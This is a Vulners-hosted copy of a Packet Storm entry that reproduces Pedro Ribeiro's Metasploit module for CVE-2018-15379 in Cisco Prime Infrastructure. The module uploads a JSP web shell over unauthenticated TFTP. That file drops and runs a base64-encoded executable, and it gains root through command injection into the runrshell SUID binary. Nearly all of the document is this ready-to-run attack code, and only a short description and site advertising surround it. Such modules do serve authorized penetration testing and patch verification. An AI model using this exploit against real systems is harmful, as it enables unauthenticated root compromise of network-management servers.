Lucene search
K

Cisco Prime Infrastructure Unauthenticated Remote Code Execution

🗓️ 13 Nov 2018 00:00:00Reported by Pedro RibeiroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 194 Views

Cisco Prime Infrastructure allows unauthenticated attackers to achieve remote code execution by exploiting file upload and privilege escalation vulnerabilities. Module tested with CPI 3.2.0.0.258 and 3.4.0.0.348, may affect other versions

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',  
'Description' => %q{  
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow  
an unauthenticated attacker to achieve remote code execution. The first flaw is a file  
upload vulnerability that allows the attacker to upload and execute files as the Apache  
Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions  
in a SUID binary.  
  
This module exploits these vulnerabilities to achieve unauthenticated remote code execution  
as root on the CPI default installation.  
  
This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions  
might also be affected, although 3.4.0.0.348 is the latest at the time of writing.  
The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2018-15379' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-prime-infrastructure.txt' ],  
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
[ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]  
],  
'Privileged' => true,  
'DefaultOptions' => { 'WfsDelay' => 10 },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 04 2018'  
))  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'The target port', 443]),  
OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),  
OptBool.new('SSL', [true, 'Use SSL connection', true]),  
OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp'])  
])  
end  
  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),  
'method' => 'GET'  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
if res.code == 404 && res.body.length == 0  
# at the moment this is the best way to detect  
# a 404 in swimtemp only returns the error code with a body length of 0,  
# while a 404 to another webapp or to the root returns code plus a body with content  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
end  
  
  
def upload_payload(payload)  
lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))  
lhost = datastore['LHOST'] || "0.0.0.0"  
remote_file = rand_text_alpha(5..16) + '.jsp'  
  
tftp_client = Rex::Proto::TFTP::Client.new(  
"LocalHost" => lhost,  
"LocalPort" => lport,  
"PeerHost" => rhost,  
"PeerPort" => datastore['RPORT_TFTP'],  
"LocalFile" => "DATA:#{payload}",  
"RemoteFile" => remote_file,  
"Mode" => 'octet',  
"Context" => {'Msf' => self.framework, 'MsfExploit' => self},  
"Action" => :upload  
)  
print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"  
tftp_client.send_write_request  
  
remote_file  
end  
  
def generate_jsp_payload  
exe = generate_payload_exe  
base64_exe = Rex::Text.encode_base64(exe)  
  
native_payload_name = rand_text_alpha(3..9)  
  
var_raw = rand_text_alpha(3..11)  
var_ostream = rand_text_alpha(3..11)  
var_pstream = rand_text_alpha(3..11)  
var_buf = rand_text_alpha(3..11)  
var_decoder = rand_text_alpha(3..11)  
var_tmp = rand_text_alpha(3..11)  
var_path = rand_text_alpha(3..11)  
var_tmp2 = rand_text_alpha(3..11)  
var_path2 = rand_text_alpha(3..11)  
var_proc2 = rand_text_alpha(3..11)  
  
var_proc1 = rand_text_alpha(3..11)  
chmod = %Q|  
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});  
Thread.sleep(200);  
|  
  
var_proc3 = Rex::Text.rand_text_alpha(3..11)  
cleanup = %Q|  
Thread.sleep(200);  
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});  
|  
  
jsp = %Q|  
<%@page import="java.io.*"%>  
<%@page import="sun.misc.BASE64Decoder"%>  
<%  
try {  
String #{var_buf} = "#{base64_exe}";  
BASE64Decoder #{var_decoder} = new BASE64Decoder();  
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());  
  
File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");  
String #{var_path} = #{var_tmp}.getAbsolutePath();  
  
BufferedOutputStream #{var_ostream} =  
new BufferedOutputStream(new FileOutputStream(#{var_path}));  
#{var_ostream}.write(#{var_raw});  
#{var_ostream}.close();  
  
File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");  
String #{var_path2} = #{var_tmp2}.getAbsolutePath();  
  
PrintWriter #{var_pstream} =  
new PrintWriter(new FileOutputStream(#{var_path2}));  
#{var_pstream}.println("!#/bin/sh");  
#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");  
#{var_pstream}.close();  
#{chmod}  
  
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});  
#{cleanup}  
} catch (Exception e) {  
}  
%>  
|  
  
jsp = jsp.gsub(/\n/, '')  
jsp = jsp.gsub(/\t/, '')  
jsp = jsp.gsub(/\x0d\x0a/, "")  
jsp = jsp.gsub(/\x0a/, "")  
  
return jsp  
end  
  
  
def exploit  
jsp_payload = generate_jsp_payload  
  
jsp_name = upload_payload(jsp_payload)  
  
# we land in /opt/CSCOlumos, so we don't know the apache directory  
# as it changes between versions... so leave this commented for now  
# ... and try to find a good way to clean it later  
print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"  
# register_files_for_cleanup(jsp_name)  
  
print_status("#{peer} - Executing payload...")  
send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], jsp_name),  
'method' => 'GET'  
})  
  
handler  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation